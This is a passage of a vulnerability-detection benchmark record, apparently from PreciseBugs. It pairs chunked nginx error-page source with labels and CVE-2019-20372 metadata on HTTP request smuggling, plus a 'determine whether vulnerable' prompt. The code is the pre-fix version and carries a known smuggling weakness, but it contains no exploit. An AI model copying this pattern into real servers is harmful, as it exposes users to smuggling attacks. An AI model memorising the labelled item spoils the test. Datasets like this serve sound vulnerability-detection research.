Request</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_429_page[] =\n\"<html>\" CRLF\n\"<head><title>429 Too Many Requests</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>429 Too Many Requests</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_494_page[] =\n\"<html>\" CRLF\n\"<head><title>400 Request Header Or Cookie Too Large</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>Request Header Or Cookie Too Large</center>\" CRLF\n;", "\nstatic char ngx_http_error_495_page[] =\n\"<html>\" CRLF\n\"<head><title>400 The SSL certificate error</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>The SSL certificate error</center>\" CRLF\n;", "\nstatic char ngx_http_error_496_page[] =\n\"<html>\" CRLF\n\"<head><title>400 No required SSL certificate was sent</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>No required SSL certificate was sent</center>\" CRLF\n;", "\nstatic char ngx_http_error_497_page[] =\n\"<html>\" CRLF\n\"<head><title>400 The plain HTTP request was sent to HTTPS port</title></head>\"\nCRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n\"<center>The plain HTTP request was sent to HTTPS port</center>\" CRLF\n;", "\nstatic char ngx_http_error_500_page[] =\n\"<html>\" CRLF\n\"<head><title>500 Internal Server Error</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>500 Internal Server Error</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_501_page[] =\n\"<html>\" CRLF\n\"<head><title>501 Not Implemented</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>501 Not Implemented</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_502_page[] =\n\"<html>\" CRLF\n\"<head><title>502 Bad Gateway</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>502 Bad Gateway</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_503_page[] =\n\"<html>\" CRLF\n\"<head><title>503 Service Temporarily Unavailable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>503 Service Temporarily Unavailable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_504_page[] =\n\"<html>\" CRLF\n\"<head><title>504 Gateway Time-out</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>504 Gateway Time-out</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_505_page[] =\n\"<html>\" CRLF\n\"<head><title>505 HTTP Version Not Supported</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>505 HTTP Version Not Supported</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_507_page[] =\n\"<html>\" CRLF\n\"<head><title>507 Insufficient Storage</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>507 Insufficient Storage</h1></center>\" CRLF\n;", "\nstatic ngx_str_t ngx_http_error_pages[] = {", " ngx_null_string, /* 201, 204 */", "#define NGX_HTTP_LAST_2XX 202\n#define NGX_HTTP_OFF_3XX (NGX_HTTP_LAST_2XX - 201)", " /* ngx_null_string, */ /* 300 */\n ngx_string(ngx_http_error_301_page),\n ngx_string(ngx_http_error_302_page),\n ngx_string(ngx_http_error_303_page),\n ngx_null_string, /* 304 */\n ngx_null_string, /* 305 */\n ngx_null_string, /* 306 */\n ngx_string(ngx_http_error_307_page),\n ngx_string(ngx_http_error_308_page),", "#define NGX_HTTP_LAST_3XX 309\n#define NGX_HTTP_OFF_4XX (NGX_HTTP_LAST_3XX - 301 + NGX_HTTP_OFF_3XX)", " ngx_string(ngx_http_error_400_page),\n ngx_string(ngx_http_error_401_page),\n ngx_string(ngx_http_error_402_page),\n ngx_string(ngx_http_error_403_page),\n ngx_string(ngx_http_error_404_page),\n ngx_string(ngx_http_error_405_page),\n ngx_string(ngx_http_error_406_page),\n ngx_null_string, /* 407 */\n ngx_string(ngx_http_error_408_page),\n ngx_string(ngx_http_error_409_page),\n ngx_string(ngx_http_error_410_page),\n ngx_string(ngx_http_error_411_page),\n ngx_string(ngx_http_error_412_page),\n ngx_string(ngx_http_error_413_page),\n ngx_string(ngx_http_error_414_page),\n ngx_string(ngx_http_error_415_page),\n ngx_string(ngx_http_error_416_page),\n ngx_null_string, /* 417 */\n ngx_null_string, /* 418 */\n ngx_null_string, /* 419 */\n ngx_null_string, /* 420 */\n ngx_string(ngx_http_error_421_page),\n ngx_null_string, /* 422 */\n ngx_null_string, /* 423 */\n ngx_null_string, /* 424 */\n ngx_null_string, /* 425 */\n ngx_null_string, /* 426 */\n ngx_null_string, /* 427 */\n ngx_null_string, /* 428 */\n ngx_string(ngx_http_error_429_page),", "#define NGX_HTTP_LAST_4XX 430\n#define NGX_HTTP_OFF_5XX (NGX_HTTP_LAST_4XX - 400 + NGX_HTTP_OFF_4XX)", " ngx_string(ngx_http_error_494_page), /* 494, request header too large */\n ngx_string(ngx_http_error_495_page), /* 495, https certificate error */\n ngx_string(ngx_http_error_496_page), /* 496, https no certificate */\n ngx_string(ngx_http_error_497_page), /* 497, http to https */\n ngx_string(ngx_http_error_404_page), /* 498, canceled */\n ngx_null_string, /* 499, client has closed connection */", " ngx_string(ngx_http_error_500_page),\n ngx_string(ngx_http_error_501_page),\n ngx_string(ngx_http_error_502_page),\n ngx_string(ngx_http_error_503_page),\n ngx_string(ngx_http_error_504_page),\n ngx_string(ngx_http_error_505_page),\n ngx_null_string, /* 506 */\n ngx_string(ngx_http_error_507_page)", "#define NGX_HTTP_LAST_5XX 508", "};", "\nngx_int_t\nngx_http_special_response_handler(ngx_http_request_t *r, ngx_int_t error)\n{\n ngx_uint_t i, err;\n ngx_http_err_page_t *err_page;\n ngx_http_core_loc_conf_t *clcf;", " ngx_log_debug3(NGX_LOG_DEBUG_HTTP, r->connection->log, 0,\n \"http special response: %i, \\\"%V?%V\\\"\",\n error, &r->uri, &r->args);", " r->err_status = error;", " if (r->keepalive) {\n switch (error) {\n case NGX_HTTP_BAD_REQUEST:\n case NGX_HTTP_REQUEST_ENTITY_TOO_LARGE:\n case NGX_HTTP_REQUEST_URI_TOO_LARGE:\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n case NGX_HTTP_INTERNAL_SERVER_ERROR:\n case NGX_HTTP_NOT_IMPLEMENTED:\n r->keepalive = 0;\n }\n }", " if (r->lingering_close) {\n switch (error) {\n case NGX_HTTP_BAD_REQUEST:\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n r->lingering_close = 0;\n }\n }", " r->headers_out.content_type.len = 0;", " clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);", " if (!r->error_page && clcf->error_pages && r->uri_changes != 0) {", " if (clcf->recursive_error_pages == 0) {\n r->error_page = 1;\n }", " err_page = clcf->error_pages->elts;", " for (i = 0; i < clcf->error_pages->nelts; i++) {\n if (err_page[i].status == error) {\n return ngx_http_send_error_page(r, &err_page[i]);\n }\n }\n }", " r->expect_tested = 1;", " if (ngx_http_discard_request_body(r) != NGX_OK) {\n r->keepalive = 0;\n }", " if (clcf->msie_refresh\n && r->headers_in.msie\n && (error == NGX_HTTP_MOVED_PERMANENTLY\n || error == NGX_HTTP_MOVED_TEMPORARILY))\n {\n return ngx_http_send_refresh(r);\n }", " if (error == NGX_HTTP_CREATED) {\n /* 201 */\n err = 0;", " } else if (error == NGX_HTTP_NO_CONTENT) {\n /* 204 */\n err = 0;", " } else if (error >= NGX_HTTP_MOVED_PERMANENTLY\n && error < NGX_HTTP_LAST_3XX)\n {\n /* 3XX */\n err = error - NGX_HTTP_MOVED_PERMANENTLY + NGX_HTTP_OFF_3XX;", " } else if (error >= NGX_HTTP_BAD_REQUEST\n && error < NGX_HTTP_LAST_4XX)\n {\n /* 4XX */\n err = error - NGX_HTTP_BAD_REQUEST + NGX_HTTP_OFF_4XX;", " } else if (error >= NGX_HTTP_NGINX_CODES\n && error < NGX_HTTP_LAST_5XX)\n {\n /* 49X, 5XX */\n err = error - NGX_HTTP_NGINX_CODES + NGX_HTTP_OFF_5XX;\n switch (error) {\n case NGX_HTTP_TO_HTTPS:\n case NGX_HTTPS_CERT_ERROR:\n case NGX_HTTPS_NO_CERT:\n case NGX_HTTP_REQUEST_HEADER_TOO_LARGE:\n r->err_status = NGX_HTTP_BAD_REQUEST;\n }", " } else {\n /* unknown code, zero body */\n err = 0;\n }", " return ngx_http_send_special_response(r, clcf, err);\n}", "\nngx_int_t\nngx_http_filter_finalize_request(ngx_http_request_t *r, ngx_module_t *m,\n ngx_int_t error)\n{\n void *ctx;\n ngx_int_t rc;", " ngx_http_clean_header(r);", " ctx = NULL;", " if (m) {\n ctx = r->ctx[m->ctx_index];\n }", " /* clear the modules contexts */\n ngx_memzero(r->ctx, sizeof(void *) * ngx_http_max_module);", " if (m) {\n r->ctx[m->ctx_index] = ctx;\n }", " r->filter_finalize = 1;", " rc = ngx_http_special_response_handler(r, error);", " /* NGX_ERROR resets any pending data */", " switch (rc) {", " case NGX_OK:\n case NGX_DONE:\n return NGX_ERROR;", " default:\n return rc;\n }\n}", "\nvoid\nngx_http_clean_header(ngx_http_request_t *r)\n{\n ngx_memzero(&r->headers_out.status,\n sizeof(ngx_http_headers_out_t)\n - offsetof(ngx_http_headers_out_t, status));", " r->headers_out.headers.part.nelts = 0;\n r->headers_out.headers.part.next = NULL;\n r->headers_out.headers.last = &r->headers_out.headers.part;", " r->headers_out.content_length_n = -1;\n r->headers_out.last_modified_time = -1;\n}", "\nstatic ngx_int_t\nngx_http_send_error_page(ngx_http_request_t *r, ngx_http_err_page_t *err_page)\n{\n ngx_int_t overwrite;\n ngx_str_t uri, args;\n ngx_table_elt_t *location;\n ngx_http_core_loc_conf_t *clcf;", " overwrite = err_page->overwrite;", " if (overwrite && overwrite != NGX_HTTP_OK) {\n r->expect_tested = 1;\n }", " if (overwrite >= 0) {\n r->err_status = overwrite;\n }", " if (ngx_http_complex_value(r, &err_page->value, &uri) != NGX_OK) {\n return NGX_ERROR;\n }", " if (uri.len && uri.data[0] == '/') {", " if (err_page->value.lengths) {\n ngx_http_split_args(r, &uri, &args);", " } else {\n args = err_page->args;\n }", " if (r->method != NGX_HTTP_HEAD) {\n r->method = NGX_HTTP_GET;\n r->method_name = ngx_http_core_get_method;\n }", " return ngx_http_internal_redirect(r, &uri, &args);\n }", " if (uri.len && uri.data[0] == '@') {\n return ngx_http_named_location(r, &uri);\n }\n", "", " location = ngx_list_push(&r->headers_out.headers);", " if (location == NULL) {\n return NGX_ERROR;\n }", " if (overwrite != NGX_HTTP_MOVED_PERMANENTLY\n && overwrite != NGX_HTTP_MOVED_TEMPORARILY\n && overwrite != NGX_HTTP_SEE_OTHER\n && overwrite != NGX_HTTP_TEMPORARY_REDIRECT\n && overwrite != NGX_HTTP_PERMANENT_REDIRECT)\n {\n r->err_status = NGX_HTTP_MOVED_TEMPORARILY;\n }", " location->hash = 1;\n ngx_str_set(&location->key, \"Location\");\n location->value = uri;", " ngx_http_clear_location(r);", " r->headers_out.location = location;", " clcf = ngx_http_get_module_loc_conf(r, ngx_http_core_module);", " if (clcf->msie_refresh && r->headers_in.msie) {\n return ngx_http_send_refresh(r);\n }", " return ngx_http_send_special_response(r, clcf, r->err_status\n - NGX_HTTP_MOVED_PERMANENTLY\n + NGX_HTTP_OFF_3XX);\n}", "\nstatic ngx_int_t\nngx_http_send_special_response(ngx_http_request_t *r,\n ngx_http_core_loc_conf_t *clcf, ngx_uint_t err)\n{\n u_char *tail;\n size_t len;\n ngx_int_t rc;\n ngx_buf_t *b;\n ngx_uint_t msie_padding;\n ngx_chain_t out[3];", " if (clcf->server_tokens == NGX_HTTP_SERVER_TOKENS_ON) {\n len = sizeof(ngx_http_error_full_tail) - 1;\n tail = ngx_http_error_full_tail;", " } else if (clcf->server_tokens == NGX_HTTP_SERVER_TOKENS_BUILD) {\n len = sizeof(ngx_http_error_build_tail) - 1;\n tail = ngx_http_error_build_tail;", " } else {\n len = sizeof(ngx_http_error_tail) - 1;\n tail = ngx_http_error_tail;\n }", " msie_padding = 0;", " if (ngx_http_error_pages[err].len) {\n r->headers_out.content_length_n = ngx_http_error_pages[err].len + len;\n if (clcf->msie_padding\n && (r->headers_in.msie || r->headers_in.chrome)\n && r->http_version >= NGX_HTTP_VERSION_10\n && err >= NGX_HTTP_OFF_4XX)\n {\n r->headers_out.content_length_n +=\n sizeof(ngx_http_msie_padding) - 1;\n msie_padding = 1;\n }", " r->headers_out.content_type_len = sizeof(\"text/html\") - 1;\n ngx_str_set(&r->headers_out.content_type, \"text/html\");\n r->headers_out.content_type_lowcase = NULL;", " } else {\n r->headers_out.content_length_n = 0;\n }", " if (r->headers_out.content_length) {\n r->headers_out.content_length->hash = 0;\n r->headers_out.content_length = NULL;\n }", " ngx_http_clear_accept_ranges(r);\n ngx_http_clear_last_modified(r);\n ngx_http_clear_etag(r);", " rc = ngx_http_send_header(r);", " if (rc == NGX_ERROR || r->header_only) {\n return rc;\n }", " if (ngx_http_error_pages[err].len == 0) {\n return ngx_http_send_special(r, NGX_HTTP_LAST);\n }", " b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;\n b->pos = ngx_http_error_pages[err].data;\n b->last = ngx_http_error_pages[err].data + ngx_http_error_pages[err].len;", " out[0].buf = b;\n out[0].next = &out[1];", " b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;", " b->pos = tail;\n b->last = tail + len;", " out[1].buf = b;\n out[1].next = NULL;", " if (msie_padding) {\n b = ngx_calloc_buf(r->pool);\n if (b == NULL) {\n return NGX_ERROR;\n }", " b->memory = 1;\n b->pos = ngx_http_msie_padding;\n b->last = ngx_http_msie_padding + sizeof(ngx_http_msie_padding) - 1;", " out[1].next = &out[2];\n out[2].buf = b;\n out[2].next = NULL;\n }", " if (r == r->main) {\n b->last_buf = 1;\n }", " b->last_in_chain = 1;", " return ngx_http_output_filter(r, &out[0]);\n}", "\nstatic ngx_int_t\nngx_http_send_refresh(ngx_http_request_t *r)\n{\n u_char *p, *location;\n size_t len, size;\n uintptr_t escape;\n ngx_int_t rc;\n ngx_buf_t *b;\n ngx_chain_t out;", " len = r->headers_out.location->value.len;\n location = r->headers_out.location->value.data;", " escape = 2 * ngx_escape_uri(NULL, location, len, NGX_ESCAPE_REFRESH);", " size = sizeof(ngx_http_msie_refresh_head) - 1\n + escape + len\n + sizeof(ngx_http_msie_refresh_tail) - 1;", " r->err_status = NGX_HTTP_OK;", " r->headers_out.content_type_len = sizeof(\"text/html\") - 1;\n ngx_str_set(&r->headers_out.content_type, \"text/html\");\n r->headers_out.content_type_lowcase = NULL;", " r->headers_out.location->hash = 0;\n r->headers_out.location = NULL;", " r->headers_out.content_length_n = size;", " if (r->headers_out.content_length) {\n r->headers_out.content_length->hash = 0;\n r->headers_out.content_length = NULL;\n }", " ngx_http_clear_accept_ranges(r);\n ngx_http_clear_last_modified(r);\n ngx_http_clear_etag(r);", " rc = ngx_http_send_header(r);", " if (rc == NGX_ERROR || r->header_only) {\n return rc;\n }", " b = ngx_create_temp_buf(r->pool, size);\n if (b == NULL) {\n return NGX_ERROR;\n }", " p = ngx_cpymem(b->pos, ngx_http_msie_refresh_head,\n sizeof(ngx_http_msie_refresh_head) - 1);", " if (escape == 0) {\n p = ngx_cpymem(p, location, len);", " } else {\n p = (u_char *) ngx_escape_uri(p, location, len, NGX_ESCAPE_REFRESH);\n }", " b->last = ngx_cpymem(p, ngx_http_msie_refresh_tail,\n sizeof(ngx_http_msie_refresh_tail) - 1);", " b->last_buf = (r == r->main) ? 1 : 0;\n b->last_in_chain = 1;", " out.buf = b;\n out.next = NULL;", " return ngx_http_output_filter(r, &out);\n}" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [625], "buggy_code_start_loc": [625], "filenames": ["src/http/ngx_http_special_response.c"], "fixing_code_end_loc": [632], "fixing_code_start_loc": [626], "message": "NGINX before 1.17.7, with certain error_page configurations, allows HTTP request smuggling, as demonstrated by the ability of an attacker to read unauthorized web pages in environments where NGINX is being fronted by a load balancer.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:f5:nginx:*:*:*:*:*:*:*:*", "matchCriteriaId": "4B1CA2FC-6A59-4EC9-8F86-BFA903DE28AE", "versionEndExcluding": "1.17.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:apple:xcode:*:*:*:*:*:*:*:*", "matchCriteriaId": "BB279F6B-EE4C-4885-9CD4-657F6BD2548F", "versionEndExcluding": "13.0", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:canonical:ubuntu_linux:14.04:*:*:*:esm:*:*:*", "matchCriteriaId": "815D70A8-47D3-459C-A32C-9FEACA0659D1", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:o:opensuse:leap:15.1:*:*:*:*:*:*:*", "matchCriteriaId": "B620311B-34A3-48A6-82DF-6F078D7A4493", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}, {"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:netapp:cloud_backup:-:*:*:*:*:*:*:*", "matchCriteriaId": "5C2089EE-5D7F-47EC-8EA5-0F69790564C4", "versionEndExcluding": null, "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "NGINX before 1.17.7, with certain error_page configurations, allows HTTP request smuggling, as demonstrated by the ability of an attacker to read unauthorized web pages in environments where NGINX is being fronted by a load balancer."}, {"lang": "es", "value": "NGINX versiones anteriores a 1.17.7, con ciertas configuraciones de error_page, permite el trafico no autorizado de peticiones HTTP, como es demostrado por la capacidad de un atacante para leer p\u00e1ginas web no autorizadas en entornos donde NGINX est\u00e1 al frente de un equilibrador de carga."}], "evaluatorComment": null, "id": "CVE-2019-20372", "lastModified": "2022-04-06T16:10:54.287", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:M/Au:N/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.3, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 3.9, "impactScore": 1.4, "source": "nvd@nist.gov", "type": "Primary"}]}, "published": "2020-01-09T21:15:12.027", "references": [{"source": "cve@mitre.org", "tags": ["Mailing List", "Third Party Advisory"], "url": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00013.html"}, {"source": "cve@mitre.org", "tags": ["Mitigation", "Release Notes", "Vendor Advisory"], "url": "http://nginx.org/en/CHANGES"}, {"source": "cve@mitre.org", "tags": ["Mailing List", "Third Party Advisory"], "url": "http://seclists.org/fulldisclosure/2021/Sep/36"}, {"source": "cve@mitre.org", "tags": ["Exploit", "Mitigation", "Third Party Advisory"], "url": "https://bertjwregeer.keybase.pub/2019-12-10%20-%20error_page%20request%20smuggling.pdf"}, {"source": "cve@mitre.org", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://duo.com/docs/dng-notes#version-1.5.4-january-2020"}, {"source": "cve@mitre.org", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kubernetes/ingress-nginx/pull/4859"}, {"source": "cve@mitre.org", "tags": ["Patch", "Vendor Advisory"], "url": "https://github.com/nginx/nginx/commit/c1be55f97211d38b69ac0c2027e6812ab8b1b94e"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://security.netapp.com/advisory/ntap-20200127-0003/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://support.apple.com/kb/HT212818"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/4235-1/"}, {"source": "cve@mitre.org", "tags": ["Third Party Advisory"], "url": "https://usn.ubuntu.com/4235-2/"}], "sourceIdentifier": "cve@mitre.org", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-444"}], "source": "nvd@nist.gov", "type": "Primary"}]}, "github_commit_url": "https://github.com/nginx/nginx/commit/c1be55f97211d38b69ac0c2027e6812ab8b1b94e"}, "type": "CWE-444"}
143
Determine whether the {function_name} code is vulnerable or not.
[ "/*\n * Copyright (C) Igor Sysoev\n * Copyright (C) Nginx, Inc.\n */", "\n#include <ngx_config.h>\n#include <ngx_core.h>\n#include <ngx_http.h>\n#include <nginx.h>", "\nstatic ngx_int_t ngx_http_send_error_page(ngx_http_request_t *r,\n ngx_http_err_page_t *err_page);\nstatic ngx_int_t ngx_http_send_special_response(ngx_http_request_t *r,\n ngx_http_core_loc_conf_t *clcf, ngx_uint_t err);\nstatic ngx_int_t ngx_http_send_refresh(ngx_http_request_t *r);", "\nstatic u_char ngx_http_error_full_tail[] =\n\"<hr><center>\" NGINX_VER \"</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_error_build_tail[] =\n\"<hr><center>\" NGINX_VER_BUILD \"</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_error_tail[] =\n\"<hr><center>nginx</center>\" CRLF\n\"</body>\" CRLF\n\"</html>\" CRLF\n;", "\nstatic u_char ngx_http_msie_padding[] =\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n\"<!-- a padding to disable MSIE and Chrome friendly error page -->\" CRLF\n;", "\nstatic u_char ngx_http_msie_refresh_head[] =\n\"<html><head><meta http-equiv=\\\"Refresh\\\" content=\\\"0; URL=\";", "\nstatic u_char ngx_http_msie_refresh_tail[] =\n\"\\\"></head><body></body></html>\" CRLF;", "\nstatic char ngx_http_error_301_page[] =\n\"<html>\" CRLF\n\"<head><title>301 Moved Permanently</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>301 Moved Permanently</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_302_page[] =\n\"<html>\" CRLF\n\"<head><title>302 Found</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>302 Found</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_303_page[] =\n\"<html>\" CRLF\n\"<head><title>303 See Other</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>303 See Other</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_307_page[] =\n\"<html>\" CRLF\n\"<head><title>307 Temporary Redirect</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>307 Temporary Redirect</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_308_page[] =\n\"<html>\" CRLF\n\"<head><title>308 Permanent Redirect</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>308 Permanent Redirect</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_400_page[] =\n\"<html>\" CRLF\n\"<head><title>400 Bad Request</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>400 Bad Request</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_401_page[] =\n\"<html>\" CRLF\n\"<head><title>401 Authorization Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>401 Authorization Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_402_page[] =\n\"<html>\" CRLF\n\"<head><title>402 Payment Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>402 Payment Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_403_page[] =\n\"<html>\" CRLF\n\"<head><title>403 Forbidden</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>403 Forbidden</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_404_page[] =\n\"<html>\" CRLF\n\"<head><title>404 Not Found</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>404 Not Found</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_405_page[] =\n\"<html>\" CRLF\n\"<head><title>405 Not Allowed</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>405 Not Allowed</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_406_page[] =\n\"<html>\" CRLF\n\"<head><title>406 Not Acceptable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>406 Not Acceptable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_408_page[] =\n\"<html>\" CRLF\n\"<head><title>408 Request Time-out</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>408 Request Time-out</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_409_page[] =\n\"<html>\" CRLF\n\"<head><title>409 Conflict</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>409 Conflict</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_410_page[] =\n\"<html>\" CRLF\n\"<head><title>410 Gone</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>410 Gone</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_411_page[] =\n\"<html>\" CRLF\n\"<head><title>411 Length Required</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>411 Length Required</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_412_page[] =\n\"<html>\" CRLF\n\"<head><title>412 Precondition Failed</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>412 Precondition Failed</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_413_page[] =\n\"<html>\" CRLF\n\"<head><title>413 Request Entity Too Large</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>413 Request Entity Too Large</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_414_page[] =\n\"<html>\" CRLF\n\"<head><title>414 Request-URI Too Large</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>414 Request-URI Too Large</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_415_page[] =\n\"<html>\" CRLF\n\"<head><title>415 Unsupported Media Type</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>415 Unsupported Media Type</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_416_page[] =\n\"<html>\" CRLF\n\"<head><title>416 Requested Range Not Satisfiable</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>416 Requested Range Not Satisfiable</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_421_page[] =\n\"<html>\" CRLF\n\"<head><title>421 Misdirected Request</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>421 Misdirected Request</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_429_page[] =\n\"<html>\" CRLF\n\"<head><title>429 Too Many Requests</title></head>\" CRLF\n\"<body>\" CRLF\n\"<center><h1>429 Too Many Requests</h1></center>\" CRLF\n;", "\nstatic char ngx_http_error_494_page[] =\n\"<html>\" CRLF\n\"<head><title>400 Request Header Or Cookie Too 